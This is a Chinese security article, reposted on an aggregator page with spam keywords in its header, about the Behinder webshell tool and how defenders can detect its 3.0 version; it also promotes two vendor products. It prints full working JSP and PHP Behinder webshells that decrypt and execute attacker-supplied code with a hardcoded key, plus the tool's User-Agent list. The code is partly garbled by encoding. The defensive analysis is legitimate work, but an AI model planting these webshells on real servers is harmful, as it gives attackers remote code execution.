日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

冰蝎的前世今生:3.0新版本下的一些防护思考

發(fā)布時間:2024/3/7 编程问答 46 豆豆
生活随笔 收集整理的這篇文章主要介紹了 冰蝎的前世今生:3.0新版本下的一些防护思考 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

冰蝎的前世今生

冰蝎(Behinder)是國內(nèi)黑客圈較火的一款Webshell管理工具。在今年HW開始前,冰蝎突然進(jìn)行了3.0版本的發(fā)布,新版本修改了不少舊版本的流量特征,導(dǎo)致大量WAF、HIDS、Webshell檢測工具失效。

本文將詳細(xì)揭秘冰蝎的前世今生,以及對于冰蝎相關(guān)攻擊的檢測思路和3.0新版本下的防護(hù)思考。

冰蝎的前世 在冰蝎這個工具出現(xiàn)以前,中國菜刀一直是國內(nèi)的白帽子、黑帽子、各種帽子常用的Webshell管理工具。而冰蝎出現(xiàn)以后,很快就被大量攻擊者所接受,取代了菜刀的地位。

相比于菜刀,冰蝎具有下面一些優(yōu)點:

  • Java開發(fā),支持跨平臺運(yùn)行

  • 使用加密隧道傳輸數(shù)據(jù),盡可能避免流量被WAF或IDS設(shè)備所捕獲

  • 更新較為頻繁,作者會聽取社區(qū)的意見修改工具

在冰蝎逐漸流行以后,國內(nèi)各大安全廠商也開始了行動,使用各種方法檢測冰蝎的Webshell和流量,可謂八仙過海各顯神通。

以下是常見的基于流量的檢測方法:

0 1 通過密鑰協(xié)商的過程中的一些特征來檢測

老版冰蝎工具在連接Webshell的時候會存在一個密鑰協(xié)商的過程,這個過程是純明文的數(shù)據(jù)交換,冰蝎存在這樣的特征:發(fā)起一共兩次的密鑰協(xié)商,通過比較兩次密鑰協(xié)商的返回包中內(nèi)容的不同部分來獲取其中的密鑰。

在這個協(xié)商過程中,防護(hù)設(shè)備可以結(jié)合URL、請求包和返回包的內(nèi)容以及頭部信息來綜合進(jìn)行判斷,這種類型檢測的優(yōu)勢是這部分的流程是冰蝎內(nèi)置的實現(xiàn),攻擊者不太好進(jìn)行修改繞過。而劣勢是在大流量的環(huán)境下很容易引起大量的誤報。

0 2 通過Shell交互過程中的HTTP請求特征來檢測

冰蝎在發(fā)送HTTP請求時存在一些特征,例如其工具中內(nèi)置了17個User-Agent頭,在用戶沒有自定義的情況下會隨機(jī)選擇一個發(fā)送。但是這些User-Agent頭大部分是一些老版本的瀏覽器或設(shè)備。

這個類型檢測的優(yōu)勢是檢測方式比較簡單,但是在大流量的環(huán)境下很容易引起誤報,一般使用多個特征相結(jié)合的方法來改善誤報的情況,并且這部分的特征通常是一些弱特征,攻擊者可以通過定制請求頭、使用代理等方式修改冰蝎的請求包很輕易的來繞過這類的檢測。

0 3 通過Webshell上傳時的流量特征來檢測

在真實的攻擊場景下,攻擊者通常是通過文件上傳、文件寫入等方式來寫入冰蝎的Webshell,所以流量設(shè)備也可以通過檢測攻擊場景的數(shù)據(jù)包來發(fā)現(xiàn)冰蝎的存在。

這部分的流量形式主要取決于Web應(yīng)用,是攻擊者不好控制的,而且通常都是以明文形式進(jìn)行傳輸,所以比較易于檢測。

但是這種檢測方式在遇到非文件上傳等漏洞時,有可能無法捕捉到Webshell的特征。

0 4 通過利用rasp機(jī)制來進(jìn)行檢測

冰蝎的java實現(xiàn)是利用defineClass來動態(tài)加載字節(jié)碼進(jìn)行執(zhí)行,利用rasp的機(jī)制可以通過執(zhí)行堆棧的信息來捕捉到冰蝎的最終利用,這種方式的檢測優(yōu)勢在于不會產(chǎn)生誤報,但是其會產(chǎn)生漏報,例如一些廠商通過堆棧中的惡意包名來檢測,這時候只需要更換包名就可以繞過檢測,并且由于rasp侵入強(qiáng)的特點,比較容易干擾到線上的應(yīng)用。

冰蝎的今生

冰蝎趕在2020年HW前發(fā)布了3.0版本,這個版本的冰蝎改動較大,一舉繞過國內(nèi)大量Webshell檢測引擎和流量檢測引擎。按照官方的說法,這次主要的改動是:

  • 去除動態(tài)密鑰協(xié)商機(jī)制,采用預(yù)共享密鑰,全程無明文交互,密鑰格式為md5("admin")[0:16]
  • 增加了插件機(jī)制,可開發(fā)安裝自定義擴(kuò)展插件

  • UI框架由awt改為javafx,重寫了大量邏輯

  • 增強(qiáng)了內(nèi)網(wǎng)穿透功能,在原有的基于HTTP的socks5隧道基礎(chǔ)上,增加了單端口轉(zhuǎn)發(fā)功能,可一鍵將內(nèi)網(wǎng)端口映射至VPS或者本機(jī)端口

從防守方的角度看,這些改動中對防御設(shè)備影響最大的是第1點,也就是說,3.0版本的冰蝎不在有密鑰協(xié)商的過程,從原理上直接繞過了大量流量檢測設(shè)備(大部分設(shè)備是通過握手的行為來檢測冰蝎的流量)。

另外,雖然新版默認(rèn)移除了老版本密鑰協(xié)商的邏輯,但是如果用戶仍然使用了老版本的Webshell,也是可以連接的。

我們來對比一下新老版本中JSP客戶端(Webshell)的區(qū)別。

老版本JSP Webshell(格式化后):

@pageimport="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>??classU?extendsClassLoader{? ? ??U(ClassLoaderc) {? ? ? ? ??super(c);? ? ? }? ? ??publicClassg(byte[]b) {? ? ? ? ??returnsuper.defineClass(b,0,b.length);? ? ? }? }%>??if(request.getParameter("pass")!=?null){? ? ? Stringk = (""+ UUID.randomUUID()).replace("-","").substring(16);? ? ? session.putValue("u",k);? ? ? out.print(k);? ? ??return;? }? Cipherc = Cipher.getInstance("AES");? c.init(2,newSecretKeySpec((session.getValue("u")+?"").getBytes(),"AES"));??newU(this.getClass().getClassLoader()).g(c.doFinal(newsun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

新版本JSP Webshell(格式化后):

AAAAA@pageimport="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>??classU?extendsClassLoader{? ? ??U(ClassLoaderc) {? ? ? ? ??super(c);? ? ? }? ? ??publicClassg(byte[]b) {? ? ? ? ??returnsuper.defineClass(b,0,b.length);? ? ? }? }%>??if(request.getMethod().equals("POST")){? ? ? Stringk =?"e45e329feb5d925b";? ? ? session.putValue("u",k);? ? ? Cipherc = Cipher.getInstance("AES");? ? ? c.init(2,newSecretKeySpec(k.getBytes(),"AES"));? ? ??newU(this.getClass().getClassLoader()).g(c.doFinal(newsun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);? }%>bbbb

對比兩個文件可以看出

  • 新版Webshell在代碼外增加了AAAAA、bbbb兩個輸出,但實際上刪除或修改這兩個特征對冰蝎的正常連接與使用沒有影響

  • 新版去除了握手的過程,直接將一個寫死在Webshell中的字符串作為AES密鑰解密流量包

  • 實際執(zhí)行代碼的邏輯并沒有修改,均采用defineClass的方式執(zhí)行Java字節(jié)碼

再來對比一下新老版本中PHP客戶端(Webshell)的區(qū)別。

老版本PHP Webshell:

<?php @error_reporting(0);session_start();if(isset($_GET['pass']))
{$key=substr(md5(uniqid(rand())),16);$_SESSION['k']=$key;print$key;
}else
{$key=$_SESSION['k'];$post=file_get_contents("php://input");if(!extension_loaded('openssl'))
{$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++){$post[$i]=?$post[$i]^$key[$i+1&15];
? }
}else
{$post=openssl_decrypt($post,"AES128",$key);
}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];classC{publicfunction__construct($p){eval($p."");}}@newC($params);
}?>

新版本PHPWebshell:

<?php @error_reporting(0);session_start();if($_SERVER['REQUEST_METHOD']===?'POST'){?$key="e45e329feb5d925b";$_SESSION['k']=$key;$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++){??$post[$i]=?$post[$i]^$key[$i+1&15];? }}else{$post=openssl_decrypt($post,"AES128",$key);}??$arr=explode('|',$post);??$func=$arr[0];??$params=$arr[1];classC{publicfunction__invoke($p){eval($p."");}}??@call_user_func(newC(),$params);}?>

和JSP版本W(wǎng)ebshell類似,PHP版本做了如下修改:

  • 新版去除了握手的過程,直接將一個寫死在Webshell中的字符串作為AES密鑰解密流量包

  • 新版將eval過程放在了魔術(shù)方法__invoke中,而老版在構(gòu)造函數(shù)__construct里,部分Webshell檢測引擎可能因此會被繞過

在實際連接時進(jìn)行抓包,也可以看出二者的差別:

老版本的第一個數(shù)據(jù)包是一個GET請求,而新版本的第一個數(shù)據(jù)包即為加密流量了。

如何應(yīng)對

真實場景下的攻防總是相對的,正所謂魔高一尺道高一丈,特殊時期,對于這個“對手”,防守方如何應(yīng)對呢?

前文提到,在網(wǎng)上公開的文章中,關(guān)于如何檢測冰蝎的流量,大家關(guān)注的重點都是冰蝎的密鑰協(xié)商過程,因為在整個通信的過程中,這部分是明文的,并且特征比較多。但是因為這次更新去除了握手的過程,導(dǎo)致大量流量檢測設(shè)備無法再探測冰蝎的流量。

除了可選去掉了密鑰協(xié)商過程來對抗檢測,冰蝎也修復(fù)了一些容易被流量檢測出來的小問題:

比如紅藍(lán)對抗——加密Webshell“冰蝎” 流量 100%識別這篇文章中提到過,老版冰蝎發(fā)送請求時Cookie頭的特征問題在新的版本中也已經(jīng)被修復(fù)了:

if(headerName.equalsIgnoreCase("Set-Cookie")){? ? ? ?for(StringcookieValue : headers.get(headerName)){? ? ? ? cookieValue =cookieValue.replaceAll(";[\\s]*path=[\\s\\S]*;?","");? ? ? ? ?cookieValues = cookieValues +?";"+ cookieValue;? ? ? ?}? ? ?cookieValues = cookieValues.startsWith(";")? cookieValues.replaceFirst(";",""): cookieValues;? ? ??break;? ?}

長亭雷池(SafeLine)和牧云(CloudWalker)無需升級即可防護(hù)

在以往的對抗中,長亭科技的雷池(SafeLine)下一代Web應(yīng)用防火墻”和牧云(CloudWalker)主機(jī)安全平臺均采用不基于規(guī)則的方式檢測冰蝎相關(guān)的攻擊,不存在產(chǎn)品現(xiàn)有規(guī)則不能涵蓋新版冰蝎WebShell的問題,因此這次冰蝎的更新對于雷池(SafeLine)和牧云(CloudWalker)的檢測能力沒有影響。

對于文件上傳漏洞,雷池(SafeLine)針對攻擊者上傳過程文件進(jìn)行分析,通過識別常見服務(wù)端腳本語言的語法特性,判斷上傳文件是否為WebShell,繼而針對攻擊者訪問行為進(jìn)行分析,判斷其訪問的文件名稱和參數(shù)是否具備調(diào)用WebShell特征,進(jìn)而告警和阻斷。因此不管攻擊者上傳新版或老版冰蝎的Webshell,雷池(SafeLine)無需增加規(guī)則或者升級,均可以正常檢測和攔截,檢測結(jié)果如下圖所示:

牧云(CloudWalker)利用機(jī)器學(xué)習(xí)、語義分析等多種技術(shù)綜合實現(xiàn)WebShell在主機(jī)服務(wù)器上的檢測,能夠自動監(jiān)控關(guān)鍵路徑,支持包含JSP、JSPX、PHP、ASPX、ASP在內(nèi)的五種主流Web腳本格式,檢測結(jié)果如下圖所示:

對于新版的冰蝎來說,由于握手包去除,進(jìn)一步地降低了攻擊者的特征。對于甲方來說,之后檢測的重點可能需要轉(zhuǎn)移到下面幾個地方:

  • 流量端對于文件上傳、文件寫入等漏洞的檢測

  • 服務(wù)器端對于兼容冰蝎的Webshell的檢測

  • 對于攻擊者拿到Webshell以后的操作進(jìn)行檢測,如反彈shell、高危命令執(zhí)行等

新版冰蝎雖然大幅減少了流量中的特征,但仍然存在一些特征可以被探測:

  • 內(nèi)置的17個User-Agent頭

  • JSP Webshell返回包首尾的AAAAA和bbbb

  • 連接的幾個數(shù)據(jù)包中存在固定大小的數(shù)據(jù)包

這些特征雖然無法準(zhǔn)確判斷出流量的類型,但這些小特征組合出來的新特征,也許能給檢測端提供一些幫助。

總結(jié)一下,對于檢測者來說,做好這幾點比較重要:

  • 增強(qiáng)檢測文件上傳、寫入漏洞的能力

  • 增強(qiáng)Webshell檢測能力,對冰蝎Webshell及其變種進(jìn)行針對性處理

  • 做好文件監(jiān)控,對于發(fā)生變化的可疑文件及時進(jìn)行記錄報警,方便之后的攻擊的回溯

  • 做好反彈Shell、命令執(zhí)行等敏感行為的檢測

  • 關(guān)注異常流量,出現(xiàn)問題能夠及時解決

最后,附上一份冰蝎內(nèi)置的17個User-Agent列表:

"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
"Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.9.168 Version/11.50",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; Tablet PC 2.0; .NET4.0E)",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)",
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)",
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1 QQBrowser/6.9.11079.201",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) QQBrowser/6.9.11079.201",
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)" 點分享 點點贊 點在看

總結(jié)

以上是生活随笔為你收集整理的冰蝎的前世今生:3.0新版本下的一些防护思考的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。